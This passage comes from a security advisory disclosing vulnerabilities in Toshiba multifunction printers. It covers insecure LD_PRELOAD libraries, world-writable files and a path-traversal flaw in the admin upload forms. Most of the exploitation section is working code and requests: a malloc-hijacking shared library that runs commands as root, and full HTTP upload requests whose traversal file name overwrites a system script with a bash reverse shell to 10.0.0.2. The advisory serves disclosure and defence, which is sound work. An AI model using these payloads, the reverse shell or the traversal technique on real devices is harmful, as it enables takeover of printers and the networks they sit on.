2023/05/27 11:31:46 CMD: UID=0 PID=4145 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:46 CMD: UID=0 PID=4144 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4146 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0 PID=4147 | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0 PID=4151 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4150 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4149 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0 PID=4148 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4156 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4155 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4154 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4153 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4152 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0 PID=4158 | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
We can analyze a newly-created Apache process. For example, the Apache process with the PID 4129 will have some libraries loaded in order to execute code implemented in these libraries:
bash-4.1# cat /proc/4129/maps
08048000-080bb000 r-xp 00000000 08:02 155908 /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bb000-080bf000 rw-p 00072000 08:02 155908 /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bf000-0833e000 rw-p 00000000 00:00 0 [heap]
0833e000-08360000 rw-p 00000000 00:00 0 [heap]
08360000-083e8000 rw-p 00000000 00:00 0 [heap]
4bc47000-4bc63000 r-xp 00000000 08:02 11770 /lib/ld-2.11.3.so
4bc63000-4bc64000 r--p 0001b000 08:02 11770 /lib/ld-2.11.3.so
4bc64000-4bc65000 rw-p 0001c000 08:02 11770 /lib/ld-2.11.3.so
4bc67000-4bda6000 r-xp 00000000 08:02 11750 /lib/libc-2.11.3.so
4bda6000-4bda7000 ---p 0013f000 08:02 11750 /lib/libc-2.11.3.so
4bda7000-4bda9000 r--p 0013f000 08:02 11750 /lib/libc-2.11.3.so
4bda9000-4bdaa000 rw-p 00141000 08:02 11750 /lib/libc-2.11.3.so
4bdaa000-4bdad000 rw-p 00000000 00:00 0
4bdaf000-4bdb1000 r-xp 00000000 08:02 11665 /lib/libdl-2.11.3.so
4bdb1000-4bdb2000 r--p 00001000 08:02 11665 /lib/libdl-2.11.3.so
4bdb2000-4bdb3000 rw-p 00002000 08:02 11665 /lib/libdl-2.11.3.so
4bdbf000-4bddf000 r-xp 00000000 08:02 139743 /usr/lib/libpcre.so.3.12.1
4bddf000-4bde0000 rw-p 0001f000 08:02 139743 /usr/lib/libpcre.so.3.12.1
4bdee000-4bdf0000 r-xp 00000000 08:02 144969 /usr/lib/libcom_err.so.2.1
4bdf0000-4bdf1000 rw-p 00001000 08:02 144969 /usr/lib/libcom_err.so.2.1
4bdfa000-4be0c000 r-xp 00000000 08:02 145525 /usr/lib/libz.so.1.2.3
4be0c000-4be0d000 rw-p 00011000 08:02 145525 /usr/lib/libz.so.1.2.3
4be0f000-4be12000 r-xp 00000000 08:02 144902 /usr/lib/libuuid.so.1.3.0
4be12000-4be13000 rw-p 00002000 08:02 144902 /usr/lib/libuuid.so.1.3.0
4be15000-4be1c000 r-xp 00000000 08:02 11732 /lib/librt-2.11.3.so
4be1c000-4be1d000 r--p 00006000 08:02 11732 /lib/librt-2.11.3.so
4be1d000-4be1e000 rw-p 00007000 08:02 11732 /lib/librt-2.11.3.so
4be7e000-4be9f000 r-xp 00000000 08:02 142900 /usr/lib/libk5crypto.so.3.1
4be9f000-4bea0000 rw-p 00021000 08:02 142900 /usr/lib/libk5crypto.so.3.1
4bea7000-4bead000 r-xp 00000000 08:02 140031 /usr/lib/libkrb5support.so.0.1
4bead000-4beae000 rw-p 00005000 08:02 140031 /usr/lib/libkrb5support.so.0.1
4c04f000-4c133000 r-xp 00000000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
4c133000-4c137000 r--p 000e4000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
4c137000-4c138000 rw-p 000e8000 08:02 145085 /usr/lib/libstdc++.so.6.0.13
...
710a3000-710a5000 r-xp 00000000 08:02 153564 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a5000-710a6000 rw-p 00001000 08:02 153564 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a6000-710a9000 r-xp 00000000 08:02 154158 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710a9000-710aa000 rw-p 00002000 08:02 154158 /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710aa000-710b4000 r-xp 00000000 08:02 154478 /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
710b4000-710b5000 rw-p 00009000 08:02 154478 /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
...
75674000-75677000 r--p 00064000 08:02 153751 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
75677000-7567b000 rw-p 00067000 08:02 153751 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
7567b000-756b0000 r-xp 00000000 08:02 154613 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b0000-756b3000 rw-p 00034000 08:02 154613 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b3000-756bd000 r-xp 00000000 08:02 11632 /lib/libpam.so.0.82.2
756bd000-756be000 rw-p 0000a000 08:02 11632 /lib/libpam.so.0.82.2
756be000-76217000 r-xp 00000000 08:02 21362 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76217000-76258000 rw-p 00b58000 08:02 21362 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76258000-7625f000 rw-p 00000000 00:00 0
7625f000-7626a000 r-xp 00000000 08:02 20801 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626a000-7626b000 rw-p 0000a000 08:02 20801 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626b000-76273000 r-xp 00000000 08:02 20878 /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76273000-76274000 rw-p 00007000 08:02 20878 /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76274000-76275000 ---p 00000000 00:00 0
76275000-76a74000 rwxp 00000000 00:00 0
76a74000-76a77000 rw-p 00000000 00:00 0
76a77000-76a7b000 r-xp 00000000 08:02 11633 /lib/libattr.so.1.1.0
76a7b000-76a7c000 rw-p 00003000 08:02 11633 /lib/libattr.so.1.1.0
76a7c000-76a82000 r-xp 00000000 08:02 11721 /lib/libacl.so.1.1.0
76a82000-76a83000 rw-p 00005000 08:02 11721 /lib/libacl.so.1.1.0
76a83000-76a84000 rw-p 00000000 00:00 0
76a84000-76af3000 r-xp 00000000 08:02 21782 /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af3000-76af7000 rw-p 0006f000 08:02 21782 /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af7000-76b50000 r-xp 00000000 08:02 145519 /usr/lib/libintlc.so.5
76b50000-76b53000 rw-p 00059000 08:02 145519 /usr/lib/libintlc.so.5
76b53000-76b5c000 r-xp 00000000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5c000-76b5d000 r--p 00008000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5d000-76b5e000 rw-p 00009000 08:02 11622 /lib/libcrypt-2.11.3.so
76b5e000-76b85000 rw-p 00000000 00:00 0
76b85000-76b97000 r-xp 00000000 08:02 154448 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b97000-76b98000 rw-p 00012000 08:02 154448 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b98000-76b99000 rw-p 00000000 00:00 0
76b99000-76b9c000 r-xp 00000000 08:02 154186 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9c000-76b9d000 rw-p 00002000 08:02 154186 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9d000-76bc4000 r-xp 00000000 08:02 154600 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc4000-76bc5000 rw-p 00027000 08:02 154600 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc5000-76c64000 r-xp 00000000 08:02 154326 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c64000-76c67000 rw-p 0009f000 08:02 154326 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c67000-76c96000 r-xp 00000000 08:02 153499 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c96000-76c99000 rw-p 0002e000 08:02 153499 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c99000-76c9a000 rw-p 00000000 00:00 0
76c9a000-76d0b000 r-xp 00000000 08:02 153648 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0b000-76d0d000 rw-p 00070000 08:02 153648 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0d000-76d0e000 rw-p 00000000 00:00 0
76d0e000-76d4d000 r-xp 00000000 08:02 154400 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4d000-76d4f000 rw-p 0003f000 08:02 154400 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4f000-76d55000 r-xp 00000000 08:02 145615 /usr/lib/libirng.so
76d55000-76d58000 rw-p 00005000 08:02 145615 /usr/lib/libirng.so
76d58000-76d6b000 r-xp 00000000 08:02 21737 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6b000-76d6c000 rw-p 00012000 08:02 21737 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6c000-77568000 r-xp 00000000 08:02 157246 /mfp/lib/libsvml.so
77568000-77586000 rw-p 007fc000 08:02 157246 /mfp/lib/libsvml.so
77586000-77587000 rw-p 00000000 00:00 0
77587000-775ad000 r-xp 00000000 08:02 11746 /lib/libm-2.11.3.so
775ad000-775ae000 r--p 00025000 08:02 11746 /lib/libm-2.11.3.so
775ae000-775af000 rw-p 00026000 08:02 11746 /lib/libm-2.11.3.so
775af000-77624000 r-xp 00000000 08:02 145632 /usr/lib/libsqlite3.so.0.8.6
77624000-77626000 rw-p 00074000 08:02 145632 /usr/lib/libsqlite3.so.0.8.6
77626000-77627000 rw-p 00000000 00:00 0
77627000-77695000 r-xp 00000000 08:02 154620 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77695000-77698000 rw-p 0006e000 08:02 154620 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77698000-776ad000 r-xp 00000000 08:02 11629 /lib/libpthread-2.11.3.so
776ad000-776ae000 r--p 00014000 08:02 11629 /lib/libpthread-2.11.3.so
776ae000-776af000 rw-p 00015000 08:02 11629 /lib/libpthread-2.11.3.so
776af000-776b2000 rw-p 00000000 00:00 0
776b2000-776db000 r-xp 00000000 08:02 153455 /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776db000-776dd000 rw-p 00028000 08:02 153455 /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776dd000-776fb000 r-xp 00000000 08:02 154622 /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fb000-776fd000 rw-p 0001e000 08:02 154622 /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fd000-776fe000 rw-p 00000000 00:00 0
776fe000-77702000 r-xp 00000000 08:02 154313 /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77702000-77703000 rw-p 00003000 08:02 154313 /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77703000-77712000 r-xp 00000000 00:0d 10594 /ramdisk/al/libGetAddtInfoInterface.so
77712000-77714000 rw-p 0000e000 00:0d 10594 /ramdisk/al/libGetAddtInfoInterface.so
77714000-77715000 rw-p 00000000 00:00 0
77715000-77720000 r-xp 00000000 00:0d 11406 /ramdisk/al/libGetNameInfoInterface.so
77720000-77722000 rw-p 0000a000 00:0d 11406 /ramdisk/al/libGetNameInfoInterface.so
Because of weak permissions, we can overwrite hundreds of libraries to get Remote Code Execution.
We can overwrite the 2 libraries that will be loaded by default by the programs running inside the printers:
- - `/ramdisk/al/libGetAddtInfoInterface.so`
- - `/ramdisk/al/libGetNameInfoInterface.so`
These 2 libraries export Intel-optimized functions.
Exported functions found in the LD_PRELOAD'ed libraries:
kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
w __cxa_finalize@GLIBC_2.1.3
U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
w _Jv_RegisterClasses
U memcpy@GLIBC_2.0
U memset@GLIBC_2.0
U pthread_create@GLIBC_2.1
U pthread_join@GLIBC_2.0
kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
w __cxa_finalize@GLIBC_2.1.3
U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
w _Jv_RegisterClasses
U memcpy@GLIBC_2.0
U memset@GLIBC_2.0
U pthread_create@GLIBC_2.1
U pthread_join@GLIBC_2.0
kali%
An attacker can create a new library and export a function that will be used by any program, for example `malloc()`.
A custom library has been written, hijacking the control flow of the `malloc()` function:
kali% cat Makefile
all:
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% cat malloc.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>
void *malloc(size_t size)
{
static void *(*fptr)(size_t) = NULL;
if (fptr == NULL)
{
fptr = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
if (fptr == NULL)
{
printf("dlsym: %s\n", dlerror());
return NULL;
}
}
system("LD_PRELOAD='' id > /dev/shm/id");
return (*fptr)(size);
}
kali% make
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% ls -la
total 32
drwx------ 2 user user 4096 May 13 11:04 .
drwx------ 4 user user 4096 May 13 11:02 ..
-rw------- 1 user user 112 May 13 11:04 Makefile
-rw------- 1 user user 398 May 13 11:03 malloc.c
-rwx------ 1 user user 14696 May 13 11:04 malloc.so
kali%
When uploading this library as `/ramdisk/al/libGetAddtInfoInterface.so` or `/ramdisk/al/libGetNameInfoInterface.so`, the `malloc()` function will be executed by some programs running inside the printers and the id command will be executed as root (the output will be written into `/dev/shm/id`).
A side effect it that a lot of programs will also crash. The execution of the malicious payload will still work.
By targeting only specific functions used by Apache or specific programs inside the printer, it is possible to avoid crashing the programs.
### Other ways to get Remote Code Execution
An attacker can use the other vulnerabilities to get Remote Code Execution:
- - Local Privilege Escalation and Remote Code Execution using insecure PATH
- - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD
- - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH
- - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs
- - Local Privilege Escalation and Remote Code Execution using CISSM
An attacker can remotely compromise any Toshiba printer.
An attacker can overwrite any insecure files (including programs running as root and Python code).
## Details - Multiple Post-authenticated Remote Code Executions as root
Toshiba printers provide several ways to upload files using the admin web interface.
The vulnerability in this chapter is similar to Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations but requires authentication on the TopAccess interface.
When an administrator is authenticated, it is possible to upload documents within the web interface using the maintenance interface:
- - Upload of drivers files;
- - Upload of MAC PPD Files;
- - Upload of Unix Filters;
- - Upload of Driver packages;
- - Upload of address book, mailboxes and templates;
- - Upload of SSL certificates;
- - ...
Several webpages with an upload forms can be found in the admin interface:
- - https://printer-ip/Administration/maintenance/uploadsoft/UnixList.html
- - https://printer-ip/Administration/maintenance/uploadsoft/UploadList.html
- - https://printer-ip/Administration/maintenance/xmlformat/XmlFormatList.html
- - https://printer-ip/Administration/maintenance/uploadsoft/MacList.html
- - https://printer-ip/Administration/maintenance/import/ImportListFrame.html
- - https://printer-ip/Administration/Languages/InstallLanguagesUpload.html
- - https://printer-ip/Administration/AdminRegistration/ImageIconManagementFrame.html
- - https://printer-ip/Administration/Cloning/CloneFileUpload.html
- - https://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html
- - https://printer-ip/Administration/maintenance/uploadsoft/MacList.html
- - https://printer-ip/Administration/maintenance/uploadsoft/PointAndPrintList.html
- - https://printer-ip/Administration/maintenance/uploadsoft/UnixList.html
- - https://printer-ip/Administration/maintenance/uploadsoft/UploadList.html
- - https://printer-ip/Administration/maintenance/xmlformat/XmlFormatList.html
- - https://printer-ip/Administration/maintenance/import/ImportListFrame.html
- - https://printer-ip/Administration/maintenance/backup/BackupList.html
- - https://printer-ip/Administration/Security/Certificates/CertUpload.html
- - https://printer-ip/Administration/MetaScan/XMLFormatFile/XmlFormatList.html
- - https://printer-ip/Administration/Setup/setting/DDNSUpload.html
- - https://printer-ip/Administration/Setup/ServerConnErrRegFileUpload.html
- - https://printer-ip/Administration/Setup/PDLUpload.html
- - https://printer-ip/Administration/Setup/ICCProfile/ImportICCProfile.html
- - https://printer-ip/Administration/SystemUpdates/nSystemUpdatesUpload.html
All these upload functionalities are vulnerable: they allow an attacker with admin privilege to overwrite any file present in the printers.
The vulnerability likely resides in the `/home/SYSROM_SRC/build/release/lib/mod_contentwebserver.so.0` library, where the `/contentwebserver/upload` API is implemented. Consequently, this is a unique vulnerability that is reachable by using different upload forms.
For example, we can see 3 different types of upload forms:
Upload of Driver files
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
Upload of Unix filters
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
Upload of address book, mailboxes and templates
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
All of these forms are vulnerable by crafting a malicious `name` value as shown in the next screenshot. It is possible to change the HTTP request by modifying the name value to rewrite any file in the printer.
For example, it is possible to overwrite the `/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver` shell script by sending a malicious file using the name value `/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver`:
Upload of malicious ldapserver shell script:
[please use the HTML version at https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]
It is necessary to update the cookie and the CsrfpId values:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------136357212815291094282690264320
Content-Length: 1056
Origin: https://10.0.0.1:8081
Connection: close
Referer: https://10.0.0.1:8081/Administration/maintenance/uploadsoft/DriverCustomize.html?v=1670278837ta&fileMode=3
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; IgnoreSessionTimeout=1; Session=10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3; clicked=0; addrLastVisited=FAVGRP
Upgrade-Insecure-Requests: 1
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>script.zip</File><name>Upload</name></source><destination><name>PDPlugin</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.3dfcc68624ce6c49d245e33f704a92b3
-----------------------------136357212815291094282690264320
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver"; filename="script.zip"
Content-Type: application/zip
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/21 0>&1
-----------------------------136357212815291094282690264320--
Following this HTTP request, the file `/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver` will be overwritten with a malicious payload.
Before the execution of the HTTP request, the file is normal:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rwxrwxrwx 1 root root 7007 Mar 15 11:45 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# head /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/bash
LDAP_STARTUP_STATUS=0;
function stop() {
echo "slapd is stopped"
kill -SIGINT `pgrep slapd`
check_stop_process
}
function start() {
bash-4.1#
After the execution of the HTTP request, the file has been modified. It now contains the malicious payload:
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rw-rw-rw- 1 apache trusted 52 May 27 16:35 /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
bash-4.1# cat /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
#!/bin/sh
bash -i >& /dev/tcp/10.0.0.2/21 0>&1
bash-4.1#
Another exploitation of a different form is shown below, using the upload of drivers. It exploits the same vulnerability. The file `/home/SYSROM_SRC/sbin/malicious.program` will contain `test`:
Upload of `/home/SYSROM_SRC/sbin/malicious.program`:
POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8960912535828260861374302822
Content-Length: 1813
Origin: https://10.0.0.1:8080
Connection: close
Referer: https://10.0.0.1:8080/Administration/maintenance/uploadsoft/UnixList.html?v=1517352288ta&fileMode=2
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DMAINT%26CAT%3DUPSW; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; SessionID=Session_3e61919e-556b-4be7-8a18-91bb65a4752b; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
Upgrade-Insecure-Requests: 1
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"
frames[0].formSubmitCompleteUploadList
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="DeviceInformationModel"
<DeviceInformationModel><Command><Move><commandNode>FileStorages</commandNode><Params><source><File>aix.tar</File><name>Upload</name></source><destination><name>Unix-Filters</name></destination></Params></Move></Command></DeviceInformationModel>
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="CsrfpId"
10.0.0.2.cab8f72fb0d8c69e622235cfff9d3cee
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="aix.tar"
Content-Type: application/x-tar
test
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="hpux64.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="linux.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="openunix.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822
Content-Disposition: form-data; name="solaris.tar"; filename=""
Content-Type: application/octet-stream
-----------------------------8960912535828260861374302822--
And we can confirm this file has been uploaded on the printer:
bash-4.1# ls -la /home/SYSROM_SRC/sbin/malicious.program
-rw-rw-rw- 1 apache trusted 5 May 27 07:48 /home/SYSROM_SRC/sbin/malicious.program
bash-4.1#
This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:
* Upload of a malicious library defined in the LD_PRELOAD variable:
* /ramdisk/al/libGetNameInfoInterface.so or /ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a malicious library
* Upload of a malicious library using the LD_LIBRARY_PATH variable - An attacker can upload malicious libraries inside:
* /home/SYSROM_SRC/build/release/lib,
* /mfp/lib,
* /home/SYSROM_SRC/NoBuildItems/common/lib,
* /home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,
* /home/SYSROM_SRC/build/release/lib.
* Upload of a malicious program due to insecure permissions:
* As shown in Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs, a lot of programs running as root can be overwritten due to insecure permissions (777)
* Upload a malicious Python program or a malicious Python library
* Replace Bash scripts
* ...
An attacker with admin privileges can remotely compromise any Toshiba printer.
An attacker with admin privileges can overwrite any insecure file (including programs running as root and Python code).
## Details - Lack of privileges separation
Toshiba printers do not implement privileges separation. An attacker compromising a program will be able to compromise the entire printer.
For example, all the programs, except Apache, are running as root.
Apache is not running as root but a Local Privilege Escalation can be achieved using one of these vulnerabilities:
- - Local Privilege Escalation and Remote Code Execution using snmpd
- - Local Privilege Escalation and Remote Code Execution using insecure PATH
- - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD
- - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH
- - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs
Listing of processes on the printer:
bash-4.1# ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1740 512 ? Ss 16:34 0:00 init [3]
root 2 0.0 0.0 0 0 ? S 16:34 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 16:34 0:00 [ksoftirqd/0]
[...]
